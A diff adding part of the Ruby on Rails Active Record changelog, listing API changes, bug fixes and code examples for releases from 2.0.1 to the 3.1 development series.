+
+ *Sebastian Martinez*
+
+* Associations with a :through option can now use *any* association as the
+ through or source association, including other associations which have a
+ :through option and has_and_belongs_to_many associations
+
+ *Jon Leighton*
+
+* The configuration for the current database connection is now accessible via
+ ActiveRecord::Base.connection_config. *fxn*
+
+* limits and offsets are removed from COUNT queries unless both are supplied.
+ For example:
+
+ People.limit(1).count # => 'SELECT COUNT(*) FROM people'
+ People.offset(1).count # => 'SELECT COUNT(*) FROM people'
+ People.limit(1).offset(1).count # => 'SELECT COUNT(*) FROM people LIMIT 1 OFFSET 1'
+
+ *lighthouse #6262*
+
+* ActiveRecord::Associations::AssociationProxy has been split. There is now an Association class
+ (and subclasses) which are responsible for operating on associations, and then a separate,
+ thin wrapper called CollectionProxy, which proxies collection associations.
+
+ This prevents namespace pollution, separates concerns, and will allow further refactorings.
+
+ Singular associations (has_one, belongs_to) no longer have a proxy at all. They simply return
+ the associated record or nil. This means that you should not use undocumented methods such
+ as bob.mother.create - use bob.create_mother instead.
+
+ *Jon Leighton*
+
+* Make has_many :through associations work correctly when you build a record and then save it. This
+ requires you to set the :inverse_of option on the source reflection on the join model, like so:
+
+ class Post < ActiveRecord::Base
+ has_many :taggings
+ has_many :tags, :through => :taggings
+ end
+
+ class Tagging < ActiveRecord::Base
+ belongs_to :post
+ belongs_to :tag, :inverse_of => :tagging # :inverse_of must be set!
+ end
+
+ class Tag < ActiveRecord::Base
+ has_many :taggings
+ has_many :posts, :through => :taggings
+ end
+
+ post = Post.first
+ tag = post.tags.build :name => "ruby"
+ tag.save # will save a Taggable linking to the post
+
+ *Jon Leighton*
+
+* Support the :dependent option on has_many :through associations. For historical and practical
+ reasons, :delete_all is the default deletion strategy employed by association.delete(*records),
+ despite the fact that the default strategy is :nullify for regular has_many. Also, this only
+ works at all if the source reflection is a belongs_to. For other situations, you should directly
+ modify the through association.
+
+ *Jon Leighton*
+
+* Changed the behaviour of association.destroy for has_and_belongs_to_many and has_many :through.
+ From now on, 'destroy' or 'delete' on an association will be taken to mean 'get rid of the link',
+ not (necessarily) 'get rid of the associated records'.
+
+ Previously, has_and_belongs_to_many.destroy(*records) would destroy the records themselves. It
+ would not delete any records in the join table. Now, it deletes the records in the join table.
+
+ Previously, has_many_through.destroy(*records) would destroy the records themselves, and the
+ records in the join table. [Note: This has not always been the case; previous version of Rails
+ only deleted the records themselves.] Now, it destroys only the records in the join table.
+
+ Note that this change is backwards-incompatible to an extent, but there is unfortunately no
+ way to 'deprecate' it before changing it. The change is being made in order to have
+ consistency as to the meaning of 'destroy' or 'delete' across the different types of associations.
+
+ If you wish to destroy the records themselves, you can do records.association.each(&:destroy)
+
+ *Jon Leighton*
+
+* Add :bulk => true option to change_table to make all the schema changes defined in change_table block using a single ALTER statement. *Pratik Naik*
+
+ Example:
+
+ change_table(:users, :bulk => true) do |t|
+ t.string :company_name
+ t.change :birthdate, :datetime
+ end
+
+ This will now result in:
+
+ ALTER TABLE `users` ADD COLUMN `company_name` varchar(255), CHANGE `updated_at` `updated_at` datetime DEFAULT NULL
+
+* Removed support for accessing attributes on a has_and_belongs_to_many join table. This has been
+ documented as deprecated behaviour since April 2006. Please use has_many :through instead.
+ *Jon Leighton*
+
+* Added a create_association! method for has_one and belongs_to associations. *Jon Leighton*
+
+* Migration files generated from model and constructive migration generators
+ (for example, add_name_to_users) use the reversible migration's `change`
+ method instead of the ordinary `up` and `down` methods. *Prem Sichanugrist*
+
+* Removed support for interpolating string SQL conditions on associations. Instead, you should
+ use a proc, like so:
+
+ Before:
+
+ has_many :things, :conditions => 'foo = #{bar}'
+
+ After:
+
+ has_many :things, :conditions => proc { "foo = #{bar}" }
+
+ Inside the proc, 'self' is the object which is the owner of the association, unless you are
+ eager loading the association, in which case 'self' is the class which the association is within.
+
+ You can have any "normal" conditions inside the proc, so the following will work too:
+
+ has_many :things, :conditions => proc { ["foo = ?", bar] }
+
+ Previously :insert_sql and :delete_sql on has_and_belongs_to_many association allowed you to call
+ 'record' to get the record being inserted or deleted. This is now passed as an argument to
+ the proc.
+
+* Added ActiveRecord::Base#has_secure_password (via ActiveModel::SecurePassword) to encapsulate dead-simple password usage with BCrypt encryption and salting [DHH]. Example:
+
+ # Schema: User(name:string, password_digest:string, password_salt:string)
+ class User < ActiveRecord::Base
+ has_secure_password
+ end
+
+ user = User.new(:name => "david", :password => "", :password_confirmation => "nomatch")
+ user.save # => false, password required
+ user.password = "mUc3m00RsqyRe"
+ user.save # => false, confirmation doesn't match
+ user.password_confirmation = "mUc3m00RsqyRe"
+ user.save # => true
+ user.authenticate("notright") # => false
+ user.authenticate("mUc3m00RsqyRe") # => user
+ User.find_by_name("david").try(:authenticate, "notright") # => nil
+ User.find_by_name("david").try(:authenticate, "mUc3m00RsqyRe") # => user
+
+
+* When a model is generated add_index is added by default for belongs_to or references columns
+
+ rails g model post user:belongs_to will generate the following:
+
+ class CreatePosts < ActiveRecord::Migration
+ def up
+ create_table :posts do |t|
+ t.belongs_to :user
+ t.timestamps
+ end
+
+ add_index :posts, :user_id
+ end
+
+ def down
+ drop_table :posts
+ end
+ end
+
+ *Santiago Pastorino*
+
+* Setting the id of a belongs_to object will update the reference to the
+ object. [#2989 state:resolved]
+* ActiveRecord::Base#dup and ActiveRecord::Base#clone semantics have changed
+ to closer match normal Ruby dup and clone semantics.
+* Calling ActiveRecord::Base#clone will result in a shallow copy of the record,
+ including copying the frozen state. No callbacks will be called.
+* Calling ActiveRecord::Base#dup will duplicate the record, including calling
+ after initialize hooks. Frozen state will not be copied, and all associations will be cleared. A duped record will return true for new_record?, have a nil id field, and is saveable.
+* Migrations can be defined as reversible, meaning that the migration system
+ will figure out how to reverse your migration. To use reversible migrations, just define the "change" method. For example:
+ class MyMigration < ActiveRecord::Migration
+ def change
+ create_table(:horses) do
+ t.column :content, :text
+ t.column :remind_at, :datetime
+ end
+ end
+ end
+
+ Some things cannot be automatically reversed for you. If you know how to reverse those things, you should define 'up' and 'down' in your migration. If you define something in `change` that cannot be reversed, an IrreversibleMigration exception will be raised when going down.
+* Migrations should use instance methods rather than class methods:
+ class FooMigration < ActiveRecord::Migration
+ def up
+ ...
+ end
+ end
+
+ *Aaron Patterson*
+
+* has_one maintains the association with separate after_create/after_update instead
+ of a single after_save. *fxn*
+
+* The following code:
+
+ Model.limit(10).scoping { Model.count }
+
+ now generates the following SQL:
+
+ SELECT COUNT(*) FROM models LIMIT 10
+
+ This may not return what you want. Instead, you may with to do something
+ like this:
+
+ Model.limit(10).scoping { Model.all.size }
+
+ *Aaron Patterson*
+
+
+## Rails 3.0.7 (April 18, 2011) ##
+
+* Destroying records via nested attributes works independent of reject_if LH #6006 *Durran Jordan*
+
+* Delegate any? and many? to Model.scoped for consistency *Andrew White*
+
+* Quote the ORDER BY clause in batched finds - fixes #6620 *Andrew White*
+
+* Change exists? so records are not instantiated - fixes #6127. This prevents after_find
+ and after_initialize callbacks being triggered when checking for record existence.
+ *Andrew White*
+
+* Fix performance bug with attribute accessors which only occurred on Ruby 1.8.7, and ensure we
+ cache type-casted values when the column returned from the db contains non-standard chars.
+ *Jon Leighton*
+
+* Fix a performance regression introduced here 86acbf1cc050c8fa8c74a10c735e467fb6fd7df8
+ related to read_attribute method *Stian Grytøyr*
+
+
+## Rails 3.0.6 (April 5, 2011) ##
+
+* Un-deprecate reorder method *Sebastian Martinez*
+
+* Extensions are applied when calling +except+ or +only+ on relations.
+ Thanks to Iain Hecker.
+
+* Schemas set in set_table_name are respected by the mysql adapter. LH #5322
+
+* Fixed a bug when empty? was called on a grouped Relation that wasn't loaded.
+ LH #5829
+
+* Reapply extensions when using except and only. Thanks Iain Hecker.
+
+* Binary data is escaped when being inserted to SQLite3 Databases. Thanks
+ Naruse!
+
+
+## Rails 3.0.5 (February 26, 2011) ##
+
+* Model.where(:column => 1).where(:column => 2) will always produce an AND
+ query.
+ *Aaron Patterson*
+
+* Deprecated support for interpolated association conditions in the form of :conditions => 'foo = #{bar}'.
+
+ Instead, you should use a proc, like so:
+
+ Before:
+
+ has_many :things, :conditions => 'foo = #{bar}'
+
+ After:
+
+ has_many :things, :conditions => proc { "foo = #{bar}" }
+
+ Inside the proc, 'self' is the object which is the owner of the association, unless you are
+ eager loading the association, in which case 'self' is the class which the association is within.
+
+ You can have any "normal" conditions inside the proc, so the following will work too:
+
+ has_many :things, :conditions => proc { ["foo = ?", bar] }
+
+ Previously :insert_sql and :delete_sql on has_and_belongs_to_many association allowed you to call
+ 'record' to get the record being inserted or deleted. This is now passed as an argument to
+ the proc.
+
+ *Jon Leighton*
+
+
+## Rails 3.0.4 (February 8, 2011) ##
+
+* Added deprecation warning for has_and_belongs_to_many associations where the join table has
+ additional attributes other than the keys. Access to these attributes is removed in 3.1.
+ Please use has_many :through instead. *Jon Leighton*
+
+
+## Rails 3.0.3 (November 16, 2010) ##
+
+* Support find by class like this: Post.where(:name => Post)
+
+
+## Rails 3.0.2 (November 15, 2010) ##
+
+* Dramatic speed increase (see: http://engineering.attinteractive.com/2010/10/arel-two-point-ohhhhh-yaaaaaa/) *Aaron Patterson*
+
+* reorder is deprecated in favor of except(:order).order(...) *Santiago Pastorino*
+
+* except is now AR public API
+
+ Model.order('name').except(:order).order('salary')
+
+ generates:
+
+ SELECT * FROM models ORDER BY salary
+
+ *Santiago Pastorino*
+
+* The following code:
+
+ Model.limit(10).scoping { Model.count }
+
+ now generates the following SQL:
+
+ SELECT COUNT(*) FROM models LIMIT 10
+
+ This may not return what you want. Instead, you may with to do something
+ like this:
+
+ Model.limit(10).scoping { Model.all.size }
+
+ *Aaron Patterson*
+
+
+## Rails 3.0.1 (October 15, 2010) ##
+
+* Introduce a fix for CVE-2010-3993
+
+
+## Rails 3.0.0 (August 29, 2010) ##
+
+* Changed update_attribute to not run callbacks and update the record directly in the database *Neeraj Singh*
+
+* Add scoping and unscoped as the syntax to replace the old with_scope and with_exclusive_scope *José Valim*
+
+* New rake task, db:migrate:status, displays status of migrations #4947 *Kevin Skoglund*
+
+* select and order for ActiveRecord now always concatenate nested calls. Use reorder if you want the original order to be overwritten *Santiago Pastorino*
+
+* PostgreSQL: ensure the database time zone matches Ruby's time zone #4895 *Aaron Patterson*
+
+* Fixed that ActiveRecord::Base.compute_type would swallow NoMethodError #4751 *Andrew Bloomgarden, Andrew White*
+
+* Add index length support for MySQL. #1852 *Emili Parreno, Pratik Naik*
+
+ Example:
+
+ add_index(:accounts, :name, :name => 'by_name', :length => 10)
+ => CREATE INDEX by_name ON accounts(name(10))
+
+ add_index(:accounts, [:name, :surname], :name => 'by_name_surname', :length => {:name => 10, :surname => 15})
+ => CREATE INDEX by_name_surname ON accounts(name(10), surname(15))
+
+* find_or_create_by_attr(value, ...) works when attr is protected. #4457 *Santiago Pastorino, Marc-André Lafortune*
+
+* New callbacks: after_commit and after_rollback. Do expensive operations like image thumbnailing after_commit instead of after_save. #2991 *Brian Durand*
+
+* Serialized attributes are not converted to YAML if they are any of the formats that can be serialized to XML (like Hash, Array and Strings). *José Valim*
+
+* Destroy uses optimistic locking. If lock_version on the record you're destroying doesn't match lock_version in the database, a StaleObjectError is raised. #1966 *Curtis Hawthorne*
+
+* PostgreSQL: drop support for old postgres driver. Use pg 0.9.0 or later. *Jeremy Kemper*
+
+* Observers can prevent records from saving by returning false, just like before_save and friends. #4087 *Mislav Marohnić*
+
+* Add Relation extensions. *Pratik Naik*
+
+ users = User.where(:admin => true).extending(User::AdminPowers)
+
+ latest_users = User.order('created_at DESC') do
+ def posts_count
+ Post.count(:user_id => to_a.map(&:id))
+ end
+ end
+
+* To prefix the table names of all models in a module, define self.table_name_prefix on the module. #4032 *Andrew White*
+
+* Silenced "SHOW FIELDS" and "SET SQL_AUTO_IS_NULL=0" statements from the MySQL driver to improve log signal to noise ration in development *DHH*
+
+* PostgreSQLAdapter: set time_zone to UTC when Base.default_timezone == :utc so that Postgres doesn't incorrectly offset-adjust values inserted into TIMESTAMP WITH TIME ZONE columns. #3777 *Jack Christensen*
+
+* Allow relations to be used as scope.
+
+ class Item
+ scope :red, where(:colour => 'red')
+ end
+
+ Item.red.limit(10) # Ten red items
+
+* Rename named_scope to scope. *Pratik Naik*
+
+* Changed ActiveRecord::Base.store_full_sti_class to be true by default reflecting the previously announced Rails 3 default *DHH*
+
+* Add Relation#except. *Pratik Naik*
+
+ one_red_item = Item.where(:colour => 'red').limit(1)
+ all_items = one_red_item.except(:where, :limit)
+
+* Add Relation#delete_all. *Pratik Naik*
+
+ Item.where(:colour => 'red').delete_all
+
+* Add Model.having and Relation#having. *Pratik Naik*
+
+ Developer.group("salary").having("sum(salary) > 10000").select("salary")
+
+* Add Relation#count. *Pratik Naik*
+
+ legends = People.where("age > 100")
+ legends.count
+ legends.count(:age, :distinct => true)
+ legends.select('id').count
+
+* Add Model.readonly and association_collection#readonly finder method. *Pratik Naik*
+
+ Post.readonly.to_a # Load all posts in readonly mode
+ @user.items.readonly(false).to_a # Load all the user items in writable mode
+
+* Add .lock finder method *Pratik Naik*
+
+ User.lock.where(:name => 'lifo').to_a
+
+ old_items = Item.where("age > 100")
+ old_items.lock.each {|i| .. }
+
+* Add Model.from and association_collection#from finder methods *Pratik Naik*
+
+ user = User.scoped
+ user.select('*').from('users, items')
+
+* Add relation.destroy_all *Pratik Naik*
+
+ old_items = Item.where("age > 100")
+ old_items.destroy_all
+
+* Add relation.exists? *Pratik Naik*
+
+ red_items = Item.where(:colours => 'red')
+ red_items.exists?
+ red_items.exists?(1)
+
+* Add find(ids) to relations. *Pratik Naik*
+
+ old_users = User.order("age DESC")
+ old_users.find(1)
+ old_users.find(1, 2, 3)
+
+* Add new finder methods to association collection. *Pratik Naik*
+
+ class User < ActiveRecord::Base
+ has_many :items
+ end
+
+ user = User.first
+ user.items.where(:items => {:colour => 'red'})
+ user.items.select('items.id')
+
+* Add relation.reload to force reloading the records. *Pratik Naik*
+
+ topics = Topic.scoped
+ topics.to_a # force load
+ topics.first # returns a cached record
+ topics.reload
+ topics.first # Fetches a new record from the database
+
+* Rename Model.conditions and relation.conditions to .where. *Pratik Naik*
+
+ Before :
+ User.conditions(:name => 'lifo')
+ User.select('id').conditions(["age > ?", 21])
+
+ Now :
+ User.where(:name => 'lifo')
+ User.select('id').where(["age > ?", 21])
+
+* Add Model.select/group/order/limit/joins/conditions/preload/eager_load class methods returning a lazy relation. *Pratik Naik*
+
+ Examples :
+
+ posts = Post.select('id).order('name') # Returns a lazy relation
+ posts.each {|p| puts p.id } # Fires "select id from posts order by name"
+
+* Model.scoped now returns a relation if invoked without any arguments. *Pratik Naik*
+
+ Example :
+
+ posts = Post.scoped
+ posts.size # Fires "select count(*) from posts" and returns the count
+ posts.each {|p| puts p.name } # Fires "select * from posts" and loads post objects
+
+* Association inverses for belongs_to, has_one, and has_many. Optimization to reduce database queries. #3533 *Murray Steele*
+
+ # post.comments sets each comment's post without needing to :include
+ class Post < ActiveRecord::Base
+ has_many :comments, :inverse_of => :post
+ end
+
+* MySQL: add_ and change_column support positioning. #3286 *Ben Marini*
+
+* Reset your Active Record counter caches with the reset_counter_cache class method. #1211 *Mike Breen, Gabe da Silveira*
+
+* Remove support for SQLite 2. Please upgrade to SQLite 3+ or install the plugin from git://github.com/rails/sqlite2_adapter.git *Pratik Naik*
+
+* PostgreSQL: XML datatype support. #1874 *Leonardo Borges*
+
+* quoted_date converts time-like objects to ActiveRecord::Base.default_timezone before serialization. This allows you to use Time.now in find conditions and have it correctly be serialized as the current time in UTC when default_timezone == :utc. #2946 *Geoff Buesing*
+
+* SQLite: drop support for 'dbfile' option in favor of 'database.' #2363 *Paul Hinze, Jeremy Kemper*
+
+* Added :primary_key option to belongs_to associations. #765 *Szymon Nowak, Philip Hallstrom, Noel Rocha*
+ # employees.company_name references companies.name
+ Employee.belongs_to :company, :primary_key => 'name', :foreign_key => 'company_name'
+
+* Implement #many? for NamedScope and AssociationCollection using #size. #1500 *Chris Kampmeier*
+
+* Added :touch option to belongs_to associations that will touch the parent record when the current record is saved or destroyed *DHH*
+
+* Added ActiveRecord::Base#touch to update the updated_at/on attributes (or another specified timestamp) with the current time *DHH*
+
+
+## 2.3.2 Final (March 15, 2009) ##
+
+* Added ActiveRecord::Base.find_each and ActiveRecord::Base.find_in_batches for batch processing *DHH/Jamis Buck*
+
+* Added that ActiveRecord::Base.exists? can be called with no arguments #1817 *Scott Taylor*
+
+* Add Support for updating deeply nested models from a single form. #1202 *Eloy Duran*
+
+ class Book < ActiveRecord::Base
+ has_one :author
+ has_many :pages
+
+ accepts_nested_attributes_for :author, :pages
+ end
+
+* Make after_save callbacks fire only if the record was successfully saved. #1735 *Michael Lovitt*
+
+ Previously the callbacks would fire if a before_save cancelled saving.
+
+* Support nested transactions using database savepoints. #383 *Jonathan Viney, Hongli Lai*
+
+* Added dynamic scopes ala dynamic finders #1648 *Yaroslav Markin*
+
+* Fixed that ActiveRecord::Base#new_record? should return false (not nil) for existing records #1219 *Yaroslav Markin*
+
+* I18n the word separator for error messages. Introduces the activerecord.errors.format.separator translation key. #1294 *Akira Matsuda*
+
+* Add :having as a key to find and the relevant associations. *Emilio Tagua*
+
+* Added default_scope to Base #1381 [Paweł Kondzior]. Example:
+
+ class Person < ActiveRecord::Base
+ default_scope :order => 'last_name, first_name'
+ end
+
+ class Company < ActiveRecord::Base
+ has_many :people
+ end
+
+ Person.all # => Person.find(:all, :order => 'last_name, first_name')
+ Company.find(1).people # => Person.find(:all, :order => 'last_name, first_name', :conditions => { :company_id => 1 })
+
+
+## 2.2.1 RC2 (November 14th, 2008) ##
+
+* Ensure indices don't flip order in schema.rb #1266 *Jordi Bunster*
+
+* Fixed that serialized strings should never be type-casted (i.e. turning "Yes" to a boolean) #857 *Andreas Korth*
+
+
+## 2.2.0 RC1 (October 24th, 2008) ##
+
+* Skip collection ids reader optimization if using :finder_sql *Jeremy Kemper*
+
+* Add Model#delete instance method, similar to Model.delete class method. #1086 *Hongli Lai (Phusion)*
+
+* MySQL: cope with quirky default values for not-null text columns. #1043 *Frederick Cheung*
+
+* Multiparameter attributes skip time zone conversion for time-only columns [#1030 state:resolved] *Geoff Buesing*
+
+* Base.skip_time_zone_conversion_for_attributes uses class_inheritable_accessor, so that subclasses don't overwrite Base [#346 state:resolved] *Emilio Tagua*
+
+* Added find_last_by dynamic finder #762 *Emilio Tagua*
+
+* Internal API: configurable association options and build_association method for reflections so plugins may extend and override. #985 *Hongli Lai (Phusion)*
+
+* Changed benchmarks to be reported in milliseconds *David Heinemeier Hansson*
+
+* Connection pooling. #936 *Nick Sieger*
+
+* Merge scoped :joins together instead of overwriting them. May expose scoping bugs in your code! #501 *Andrew White*
+
+* before_save, before_validation and before_destroy callbacks that return false will now ROLLBACK the transaction. Previously this would have been committed before the processing was aborted. #891 *Xavier Noria*
+
+* Transactional migrations for databases which support them. #834 *divoxx, Adam Wiggins, Tarmo Tänav*
+
+* Set config.active_record.timestamped_migrations = false to have migrations with numeric prefix instead of UTC timestamp. #446. *Andrew Stone, Nik Wakelin*
+
+* change_column_default preserves the not-null constraint. #617 *Tarmo Tänav*
+
+* Fixed that create database statements would always include "DEFAULT NULL" (Nick Sieger) *#334*
+
+* Add :tokenizer option to validates_length_of to specify how to split up the attribute string. #507. [David Lowenfels] Example :
+
+ \# Ensure essay contains at least 100 words.
+ validates_length_of :essay, :minimum => 100, :too_short => "Your essay must be at least %d words."), :tokenizer => lambda {|str| str.scan(/\w+/) }
+
+* Allow conditions on multiple tables to be specified using hash. [Pratik Naik]. Example:
+
+ User.all :joins => :items, :conditions => { :age => 10, :items => { :color => 'black' } }
+ Item.first :conditions => { :items => { :color => 'red' } }
+
+* Always treat integer :limit as byte length. #420 *Tarmo Tänav*
+
+* Partial updates don't update lock_version if nothing changed. #426 *Daniel Morrison*
+
+* Fix column collision with named_scope and :joins. #46 *Duncan Beevers, Mark Catley*
+
+* db:migrate:down and :up update schema_migrations. #369 *Michael Raidel, RaceCondition*
+
+* PostgreSQL: support :conditions => [':foo::integer', { :foo => 1 }] without treating the ::integer typecast as a bind variable. *Tarmo Tänav*
+
+* MySQL: rename_column preserves column defaults. #466 *Diego Algorta*
+
+* Add :from option to calculations. #397 *Ben Munat*
+
+* Add :validate option to associations to enable/disable the automatic validation of associated models. Resolves #301. *Jan De Poorter*
+
+* PostgreSQL: use 'INSERT ... RETURNING id' for 8.2 and later. *Jeremy Kemper*
+
+* Added SQL escaping for :limit and :offset in MySQL *Jonathan Wiess*
+
+
+## 2.1.0 (May 31st, 2008) ##
+
+* Add ActiveRecord::Base.sti_name that checks ActiveRecord::Base#store_full_sti_class? and returns either the full or demodulized name. *Rick Olson*
+
+* Add first/last methods to associations/named_scope. Resolved #226. *Ryan Bates*
+
+* Added SQL escaping for :limit and :offset #288 *Aaron Bedra, Steven Bristol, Jonathan Wiess*
+
+* Added first/last methods to associations/named_scope. Resolved #226. *Ryan Bates*
+
+* Ensure hm:t preloading honours reflection options. Resolves #137. *Frederick Cheung*
+
+* Added protection against duplicate migration names (Aslak Hellesøy) *#112*
+
+* Base#instantiate_time_object: eliminate check for Time.zone, since we can assume this is set if time_zone_aware_attributes is set to true *Geoff Buesing*
+
+* Time zone aware attribute methods use Time.zone.parse instead of #to_time for String arguments, so that offset information in String is respected. Resolves #105. *Scott Fleckenstein, Geoff Buesing*
+
+* Added change_table for migrations (Jeff Dean) [#71]. Example:
+
+ change_table :videos do |t|
+ t.timestamps # adds created_at, updated_at
+ t.belongs_to :goat # adds goat_id integer
+ t.string :name, :email, :limit => 20 # adds name and email both with a 20 char limit
+ t.remove :name, :email # removes the name and email columns
+ end
+
+* Fixed has_many :through .create with no parameters caused a "can't dup NilClass" error (Steven Soroka) *#85*
+
+* Added block-setting of attributes for Base.create like Base.new already has (Adam Meehan) *#39*
+
+* Fixed that pessimistic locking you reference the quoted table name (Josh Susser) *#67*
+
+* Fixed that change_column should be able to use :null => true on a field that formerly had false [Nate Wiger] *#26*
+
+* Added that the MySQL adapter should map integer to either smallint, int, or bigint depending on the :limit just like PostgreSQL *David Heinemeier Hansson*
+
+* Change validates_uniqueness_of :case_sensitive option default back to true (from [9160]). Love your database columns, don't LOWER them. *Rick Olson*
+
+* Add support for interleaving migrations by storing which migrations have run in the new schema_migrations table. Closes #11493 *Jordi Bunster*
+
+* ActiveRecord::Base#sum defaults to 0 if no rows are returned. Closes #11550 *Kamal Fariz Mahyuddin*
+
+* Ensure that respond_to? considers dynamic finder methods. Closes #11538. *James Mead*
+
+* Ensure that save on parent object fails for invalid has_one association. Closes #10518. *Pratik Naik*
+
+* Remove duplicate code from associations. *Pratik Naik*
+
+* Refactor HasManyThroughAssociation to inherit from HasManyAssociation. Association callbacks and <association>_ids= now work with hm:t. #11516 *Ruy Asan*
+
+* Ensure HABTM#create and HABTM#build do not load entire association. *Pratik Naik*
+
+* Improve documentation. *Xavier Noria, Jack Danger Canty, leethal*
+
+* Tweak ActiveRecord::Base#to_json to include a root value in the returned hash: {"post": {"title": ...}} *Rick Olson*
+
+ Post.find(1).to_json # => {"title": ...}
+ config.active_record.include_root_in_json = true
+ Post.find(1).to_json # => {"post": {"title": ...}}
+
+* Add efficient #include? to AssociationCollection (for has_many/has_many :through/habtm). *stopdropandrew*
+
+* PostgreSQL: create_ and drop_database support. #9042 *ez, pedz, Nick Sieger*
+
+* Ensure that validates_uniqueness_of works with with_scope. Closes #9235. *Nik Wakelin, cavalle*
+
+* Partial updates include only unsaved attributes. Off by default; set YourClass.partial_updates = true to enable. *Jeremy Kemper*
+
+* Removing unnecessary uses_tzinfo helper from tests, given that TZInfo is now bundled *Geoff Buesing*
+
+* Fixed that validates_size_of :within works in associations #11295, #10019 *cavalle*
+
+* Track changes to unsaved attributes. *Jeremy Kemper*
+
+* Switched to UTC-timebased version numbers for migrations and the schema. This will as good as eliminate the problem of multiple migrations getting the same version assigned in different branches. Also added rake db:migrate:up/down to apply individual migrations that may need to be run when you merge branches #11458 *John Barnette*
+
+* Fixed that has_many :through would ignore the hash conditions #11447 *Emilio Tagua*
+
+* Fix issue where the :uniq option of a has_many :through association is ignored when find(:all) is called. Closes #9407 *cavalle*
+
+* Fix duplicate table alias error when including an association with a has_many :through association on the same join table. Closes #7310 *cavalle*
+
+* More efficient association preloading code that compacts a through_records array in a central location. Closes #11427 *Jack Danger Canty*
+
+* Improve documentation. *Ryan Bigg, Jan De Poorter, Cheah Chu Yeow, Xavier Shay, Jack Danger Canty, Emilio Tagua, Xavier Noria, Sunny Ripert*
+
+* Fixed that ActiveRecord#Base.find_or_create/initialize would not honor attr_protected/accessible when used with a hash #11422 *Emilio Tagua*
+
+* Added ActiveRecord#Base.all/first/last as aliases for find(:all/:first/:last) #11413 *nkallen, Chris O'Sullivan*
+
+* Merge the has_finder gem, renamed as 'named_scope'. #11404 *nkallen*
+
+ class Article < ActiveRecord::Base
+ named_scope :published, :conditions => {:published => true}
+ named_scope :popular, :conditions => ...
+ end
+
+ Article.published.paginate(:page => 1)
+ Article.published.popular.count
+ Article.popular.find(:first)
+ Article.popular.find(:all, :conditions => {...})
+
+ See http://pivots.pivotallabs.com/users/nick/blog/articles/284-hasfinder-it-s-now-easier-than-ever-to-create-complex-re-usable-sql-queries
+
+* Add has_one :through support. #4756 *Chris O'Sullivan*
+
+* Migrations: create_table supports primary_key_prefix_type. #10314 *student, Chris O'Sullivan*
+
+* Added logging for dependency load errors with fixtures #11056 *stuthulhu*
+
+* Time zone aware attributes use Time#in_time_zone *Geoff Buesing*
+
+* Fixed that scoped joins would not always be respected #6821 *Theory/Jack Danger Canty*
+
+* Ensure that ActiveRecord::Calculations disambiguates field names with the table name. #11027 *cavalle*
+
+* Added add/remove_timestamps to the schema statements for adding the created_at/updated_at columns on existing tables #11129 *jramirez*
+
+* Added ActiveRecord::Base.find(:last) #11338 *Emilio Tagua*
+
+* test_native_types expects DateTime.local_offset instead of DateTime.now.offset; fixes test breakage due to dst transition *Geoff Buesing*
+
+* Add :readonly option to HasManyThrough associations. #11156 *Emilio Tagua*
+
+* Improve performance on :include/:conditions/:limit queries by selectively joining in the pre-query. #9560 *dasil003*
+
+* Perf fix: Avoid the use of named block arguments. Closes #11109 *adymo*
+
+* PostgreSQL: support server versions 7.4 through 8.0 and the ruby-pg driver. #11127 *jdavis*
+
+* Ensure association preloading doesn't break when an association returns nil. ##11145 *GMFlash*
+
+* Make dynamic finders respect the :include on HasManyThrough associations. #10998. *cpytel*
+
+* Base#instantiate_time_object only uses Time.zone when Base.time_zone_aware_attributes is true; leverages Time#time_with_datetime_fallback for readability *Geoff Buesing*
+
+* Refactor ConnectionAdapters::Column.new_time: leverage DateTime failover behavior of Time#time_with_datetime_fallback *Geoff Buesing*
+
+* Improve associations performance by using symbol callbacks instead of string callbacks. #11108 *adymo*
+
+* Optimise the BigDecimal conversion code. #11110 *adymo*
+
+* Introduce the :readonly option to all associations. Records from the association cannot be saved. #11084 *Emilio Tagua*
+
+* Multiparameter attributes for time columns fail over to DateTime when out of range of Time *Geoff Buesing*
+
+* Base#instantiate_time_object uses Time.zone.local() *Geoff Buesing*
+
+* Add timezone-aware attribute readers and writers. #10982 *Geoff Buesing*
+
+* Instantiating time objects in multiparameter attributes uses Time.zone if available. #10982 *Rick Olson*
+
+* Add note about how ActiveRecord::Observer classes are initialized in a Rails app. #10980 *Xavier Noria*
+
+* MySQL: omit text/blob defaults from the schema instead of using an empty string. #10963 *mdeiters*
+
+* belongs_to supports :dependent => :destroy and :delete. #10592 *Jonathan Viney*
+
+* Introduce preload query strategy for eager :includes. #9640 *Frederick Cheung, Aliaksey Kandratsenka, codafoo*
+
+* Support aggregations in finder conditions. #10572 *Ryan Kinderman*
+
+* Organize and clean up the Active Record test suite. #10742 *John Barnette*
+
+* Ensure that modifying has_and_belongs_to_many actions clear the query cache. Closes #10840 *john.andrews*
+
+* Fix issue where Table#references doesn't pass a :null option to a *_type attribute for polymorphic associations. Closes #10753 *railsjitsu*
+
+* Fixtures: removed support for the ancient pre-YAML file format. #10736 *John Barnette*
+
+* More thoroughly quote table names. #10698 *dimdenis, lotswholetime, Jeremy Kemper*
+
+* update_all ignores scoped :order and :limit, so post.comments.update_all doesn't try to include the comment order in the update statement. #10686 *Brendan Ribera*
+
+* Added ActiveRecord::Base.cache_key to make it easier to cache Active Records in combination with the new ActiveSupport::Cache::* libraries *David Heinemeier Hansson*
+
+* Make sure CSV fixtures are compatible with ruby 1.9's new csv implementation. *JEG2*
+
+* Added by parameter to increment, decrement, and their bang varieties so you can do player1.increment!(:points, 5) #10542 *Sam*
+
+* Optimize ActiveRecord::Base#exists? to use #select_all instead of #find. Closes #10605 *jamesh, Frederick Cheung, protocool*
+
+* Don't unnecessarily load has_many associations in after_update callbacks. Closes #6822 *stopdropandrew, canadaduane*
+
+* Eager belongs_to :include infers the foreign key from the association name rather than the class name. #10517 *Jonathan Viney*
+
+* SQLite: fix rename_ and remove_column for columns with unique indexes. #10576 *Brandon Keepers*
+
+* Ruby 1.9 compatibility. #10655 *Jeremy Kemper, Dirkjan Bussink*
+
+
+## 2.0.2 (December 16th, 2007) ##
+
+* Ensure optimistic locking handles nil #lock_version values properly. Closes #10510 *Rick Olson*
+
+* Make the Fixtures Test::Unit enhancements more supporting for double-loaded test cases. Closes #10379 *brynary*
+
+* Fix that validates_acceptance_of still works for non-existent tables (useful for bootstrapping new databases). Closes #10474 *Josh Susser*
+
+* Ensure that the :uniq option for has_many :through associations retains the order. #10463 *remvee*
+
+* Base.exists? doesn't rescue exceptions to avoid hiding SQL errors. #10458 *Michael Klishin*
+
+* Documentation: Active Record exceptions, destroy_all and delete_all. #10444, #10447 *Michael Klishin*
+
+
+## 2.0.1 (December 7th, 2007) ##
+
